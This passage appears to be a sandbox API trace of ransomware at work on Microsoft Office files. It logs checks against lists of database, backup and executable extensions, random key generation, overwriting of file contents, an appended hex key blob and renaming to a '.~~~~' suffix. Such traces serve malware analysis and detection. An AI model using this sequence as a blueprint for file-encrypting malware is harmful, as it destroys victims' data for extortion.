	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".DBV") returned 0x0
	[0140.537] lstrlenW (lpString=".dacpac") returned 7
	[0140.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.538] lstrlenW (lpString=".sdf") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".sdf") returned 0x0
	[0140.538] lstrlenW (lpString=".accdb") returned 6
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".accdb") returned 0x0
	[0140.538] lstrlenW (lpString=".DBX") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".DBX") returned 0x0
	[0140.538] lstrlenW (lpString=".MDT") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".MDT") returned 0x0
	[0140.538] lstrlenW (lpString=".SQB") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".SQB") returned 0x0
	[0140.538] lstrlenW (lpString=".vhd") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".vhd") returned 0x0
	[0140.538] lstrlenW (lpString=".bac") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".bac") returned 0x0
	[0140.538] lstrlenW (lpString=".mdf") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".mdf") returned 0x0
	[0140.538] lstrlenW (lpString=".BAK") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".BAK") returned 0x0
	[0140.538] lstrlenW (lpString=".BAC") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".BAC") returned 0x0
	[0140.538] lstrlenW (lpString=".dbs") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".dbs") returned 0x0
	[0140.538] lstrlenW (lpString=".vhdx") returned 5
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.538] lstrlenW (lpString=".NDF") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".NDF") returned 0x0
	[0140.538] lstrlenW (lpString=".dat") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".dat") returned 0x0
	[0140.538] lstrlenW (lpString=".DBS") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".DBS") returned 0x0
	[0140.538] lstrlenW (lpString=".CKP") returned 4
	[0140.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".CKP") returned 0x0
	[0140.539] lstrlenW (lpString=".edb") returned 4
	[0140.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".edb") returned 0x0
	[0140.539] lstrlenW (lpString=".PST") returned 4
	[0140.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".PST") returned 0x0
	[0140.539] lstrlenW (lpString=".dbf") returned 4
	[0140.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".dbf") returned 0x0
	[0140.539] lstrlenW (lpString=".SQL") returned 4
	[0140.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".SQL") returned 0x0
	[0140.539] lstrlenW (lpString=".pst") returned 4
	[0140.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".pst") returned 0x0
	[0140.539] lstrlenW (lpString=".dbv") returned 4
	[0140.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".dbv") returned 0x0
	[0140.539] lstrlenW (lpString=".SDF") returned 4
	[0140.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".SDF") returned 0x0
	[0140.539] lstrlenW (lpString=".dtxs") returned 5
	[0140.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.539] lstrlenW (lpString=".db3") returned 4
	[0140.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".db3") returned 0x0
	[0140.539] lstrlenW (lpString=".OST") returned 4
	[0140.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".OST") returned 0x0
	[0140.539] lstrlenW (lpString=".dbx") returned 4
	[0140.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".dbx") returned 0x0
	[0140.539] lstrlenW (lpString=".DB3") returned 4
	[0140.539] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".DB3") returned 0x0
	[0140.539] lstrlenW (lpString=".DAT") returned 4
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".DAT") returned 0x0
	[0140.540] lstrlenW (lpString=".VHDX") returned 5
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.540] lstrlenW (lpString=".ndf") returned 4
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".ndf") returned 0x0
	[0140.540] lstrlenW (lpString=".DB") returned 3
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".DB") returned 0x0
	[0140.540] lstrlenW (lpString=".sql") returned 4
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".sql") returned 0x0
	[0140.540] lstrlenW (lpString=".MYD") returned 4
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".MYD") returned 0x0
	[0140.540] lstrlenW (lpString=".DBT") returned 4
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".DBT") returned 0x0
	[0140.540] lstrlenW (lpString=".ACCDB") returned 6
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.540] lstrlenW (lpString=".fdb") returned 4
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".fdb") returned 0x0
	[0140.540] lstrlenW (lpString=".bak") returned 4
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".bak") returned 0x0
	[0140.540] lstrlenW (lpString=".myd") returned 4
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".myd") returned 0x0
	[0140.540] lstrlenW (lpString=".DTXS") returned 5
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.540] lstrlenW (lpString=".ckp") returned 4
	[0140.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".ckp") returned 0x0
	[0140.540] lstrlenW (lpString=".dbt") returned 4
	[0140.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".dbt") returned 0x0
	[0140.541] lstrlenW (lpString=".db") returned 3
	[0140.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".db") returned 0x0
	[0140.541] lstrlenW (lpString=".TXT") returned 4
	[0140.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".TXT") returned 0x0
	[0140.541] lstrlenW (lpString=".MDF") returned 4
	[0140.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".MDF") returned 0x0
	[0140.541] lstrlenW (lpString=".bdb") returned 4
	[0140.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".bdb") returned 0x0
	[0140.541] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0140.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0140.541] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395498) returned 1
	[0140.542] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0140.542] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0140.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0140.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0140.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0140.543] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26053284072) returned 1
	[0140.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbd2c9e50, dwHighDateTime=0x1d60e1e)) 
	[0140.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0140.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0140.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0140.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d2d0
	[0140.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d2d0 | out: hHeap=0x300000) returned 1
	[0140.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f37e8
	[0140.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0140.544] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0140.544] GetLastError () returned 0x0
	[0140.544] GetLastError () returned 0x0
	[0140.544] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0140.544] GetLastError () returned 0x0
	[0140.545] GetLastError () returned 0x0
	[0140.545] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x1f8fec0*=0x1985, lpOverlapped=0x0) returned 1
	[0140.547] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffe67b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.548] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x1985, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1985, lpOverlapped=0x0) returned 1
	[0140.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0140.548] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.548] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.548] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.548] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.548] CloseHandle (hObject=0x114) returned 1
	[0140.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0140.563] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir26f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir26f.gif.~~~~")) returned 1
	[0140.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0140.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0140.747] GetLastError () returned 0x0
	[0140.747] RtlWakeConditionVariable () returned 0x0
	[0140.747] GetCurrentThreadId () returned 0xaf0
	[0140.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".scr") returned 0x0
	[0140.747] lstrlenW (lpString=".cmd") returned 4
	[0140.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".cmd") returned 0x0
	[0140.748] lstrlenW (lpString=".dll") returned 4
	[0140.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".dll") returned 0x0
	[0140.748] lstrlenW (lpString=".bat") returned 4
	[0140.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".bat") returned 0x0
	[0140.748] lstrlenW (lpString=".cpl") returned 4
	[0140.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".cpl") returned 0x0
	[0140.748] lstrlenW (lpString=".sys") returned 4
	[0140.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".sys") returned 0x0
	[0140.748] lstrlenW (lpString=".msc") returned 4
	[0140.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".msc") returned 0x0
	[0140.748] lstrlenW (lpString=".com") returned 4
	[0140.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".com") returned 0x0
	[0140.748] lstrlenW (lpString=".lnk") returned 4
	[0140.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".lnk") returned 0x0
	[0140.748] lstrlenW (lpString=".msp") returned 4
	[0140.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".msp") returned 0x0
	[0140.748] lstrlenW (lpString=".pif") returned 4
	[0140.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".pif") returned 0x0
	[0140.748] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0140.750] lstrlenW (lpString=".sqb") returned 4
	[0140.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".sqb") returned 0x0
	[0140.750] lstrlenW (lpString=".ost") returned 4
	[0140.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".ost") returned 0x0
	[0140.751] lstrlenW (lpString=".txt") returned 4
	[0140.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".txt") returned 0x0
	[0140.751] lstrlenW (lpString=".mdt") returned 4
	[0140.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".mdt") returned 0x0
	[0140.751] lstrlenW (lpString=".BDB") returned 4
	[0140.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".BDB") returned 0x0
	[0140.751] lstrlenW (lpString=".eql") returned 4
	[0140.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".eql") returned 0x0
	[0140.751] lstrlenW (lpString=".DBF") returned 4
	[0140.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".DBF") returned 0x0
	[0140.751] lstrlenW (lpString=".EQL") returned 4
	[0140.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".EQL") returned 0x0
	[0140.751] lstrlenW (lpString=".FDB") returned 4
	[0140.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".FDB") returned 0x0
	[0140.751] lstrlenW (lpString=".EDB") returned 4
	[0140.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".EDB") returned 0x0
	[0140.751] lstrlenW (lpString=".DACPAC") returned 7
	[0140.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.751] lstrlenW (lpString=".VHD") returned 4
	[0140.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".VHD") returned 0x0
	[0140.751] lstrlenW (lpString=".DBV") returned 4
	[0140.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".DBV") returned 0x0
	[0140.751] lstrlenW (lpString=".dacpac") returned 7
	[0140.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".dacpac") returned 0x0
	[0140.752] lstrlenW (lpString=".sdf") returned 4
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".sdf") returned 0x0
	[0140.752] lstrlenW (lpString=".accdb") returned 6
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".accdb") returned 0x0
	[0140.752] lstrlenW (lpString=".DBX") returned 4
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".DBX") returned 0x0
	[0140.752] lstrlenW (lpString=".MDT") returned 4
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".MDT") returned 0x0
	[0140.752] lstrlenW (lpString=".SQB") returned 4
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".SQB") returned 0x0
	[0140.752] lstrlenW (lpString=".vhd") returned 4
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".vhd") returned 0x0
	[0140.752] lstrlenW (lpString=".bac") returned 4
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".bac") returned 0x0
	[0140.752] lstrlenW (lpString=".mdf") returned 4
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".mdf") returned 0x0
	[0140.752] lstrlenW (lpString=".BAK") returned 4
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".BAK") returned 0x0
	[0140.752] lstrlenW (lpString=".BAC") returned 4
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".BAC") returned 0x0
	[0140.752] lstrlenW (lpString=".dbs") returned 4
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".dbs") returned 0x0
	[0140.752] lstrlenW (lpString=".vhdx") returned 5
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".vhdx") returned 0x0
	[0140.752] lstrlenW (lpString=".NDF") returned 4
	[0140.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".NDF") returned 0x0
	[0140.753] lstrlenW (lpString=".dat") returned 4
	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".dat") returned 0x0
	[0140.753] lstrlenW (lpString=".DBS") returned 4
	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".DBS") returned 0x0
	[0140.753] lstrlenW (lpString=".CKP") returned 4
	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".CKP") returned 0x0
	[0140.753] lstrlenW (lpString=".edb") returned 4
	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".edb") returned 0x0
	[0140.753] lstrlenW (lpString=".PST") returned 4
	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".PST") returned 0x0
	[0140.753] lstrlenW (lpString=".dbf") returned 4
